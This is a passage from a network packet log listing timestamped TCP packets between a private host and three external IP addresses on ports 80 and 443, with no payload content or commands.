Aug 21, 2024 08:32:16.547998905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.548007011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.548013926 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.548016071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.548022032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.548032999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.548053026 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.548084021 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.548211098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.548851967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548856974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548871994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548877954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548882961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548907995 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.548929930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548935890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548969984 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.548973083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548979998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548988104 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.548994064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.548998117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549021959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.549046993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.549067974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549073935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549088955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549094915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549099922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549118042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.549145937 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.549190044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549196005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549210072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549251080 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.549267054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.549302101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549308062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549319983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549324036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549334049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.549365997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.550334930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550342083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550355911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550385952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.550405025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.550411940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550416946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550426960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550432920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550457954 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.550487041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.550601006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550607920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550612926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550617933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550625086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550636053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550642014 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.550647020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550651073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.550673008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.550688982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.551255941 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.551271915 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.551323891 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.551337004 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.551398993 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.551698923 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.551707983 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.551767111 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.551775932 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.552052021 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.552330971 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.552345037 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.552391052 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.552397966 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.552449942 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.552449942 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.552848101 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.552862883 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.552920103 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.552927017 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.552963018 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.552963018 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.553328991 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.553343058 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.553433895 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.553440094 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.553503990 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.557238102 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.557256937 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.557435036 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.557435036 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.557444096 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.557518959 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.564579010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.564589977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.564601898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.564649105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.564675093 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565104961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565115929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565123081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565133095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565140009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565150976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565156937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565164089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565165997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565169096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565175056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565181971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565195084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565221071 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565243006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565248966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565253973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565259933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565264940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565270901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565284014 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565308094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565324068 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565434933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565442085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565453053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565458059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565464020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565476894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565481901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565486908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565488100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565517902 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565527916 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565862894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565869093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565881014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565927982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565941095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565944910 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.565947056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565958977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565963984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.565985918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566011906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566113949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566119909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566132069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566138029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566143990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566154003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566159010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566163063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566164970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566170931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566191912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566204071 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566309929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566315889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566327095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566334009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566354990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566365004 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566725969 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.566740990 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.566781998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566787004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566792965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566795111 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.566797972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566801071 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.566802979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566816092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566822052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566831112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566833019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566848040 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.566859007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566859007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566879988 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.566989899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.566996098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.567042112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.567044973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.567051888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.567056894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.567063093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.567085981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.567097902 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.567200899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.567207098 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.567219019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.567224979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.567230940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.567235947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.567264080 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.567296982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.567334890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.567394972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.567397118 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.567491055 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.567500114 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.567554951 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.567990065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.567996025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568001986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568006992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568012953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568025112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568031073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568037033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.568070889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568075895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568079948 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.568082094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568118095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.568237066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568243980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568253994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568259001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.568289042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.578315973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578402996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.578763962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578769922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578782082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578787088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578793049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578803062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578809977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578823090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578826904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578839064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578844070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578845978 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.578850031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578888893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.578890085 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.578905106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578912973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578917027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.578917027 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.578955889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.579276085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.579281092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.579335928 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.579410076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.579490900 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.579528093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.579534054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.579629898 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.580355883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.580504894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.580511093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.580564022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.581372023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581377029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581506968 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.581530094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581542969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581547976 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581553936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581563950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581568956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581573963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581578970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581583977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581589937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581594944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581594944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.581607103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581612110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581614971 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.581619024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581625938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581631899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581638098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.581674099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581679106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581687927 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.581687927 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.581690073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581696987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581701040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.581739902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.581739902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.598190069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.598197937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.598203897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.598284006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.598294973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.598300934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.598308086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.598332882 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.598332882 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.598366976 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.618673086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618679047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618690968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618710995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618716002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618726015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618731976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618736982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618756056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.618812084 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.618840933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618846893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618856907 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618863106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618902922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.618916035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618922949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.618967056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.619730949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.619771957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.619777918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.619820118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.619820118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.619831085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.619837046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.619851112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.619854927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.619859934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.619883060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.619915962 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.619915962 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.621735096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621742010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.621752977 CEST	80	49720	147.45.44.104	192.168.2.6
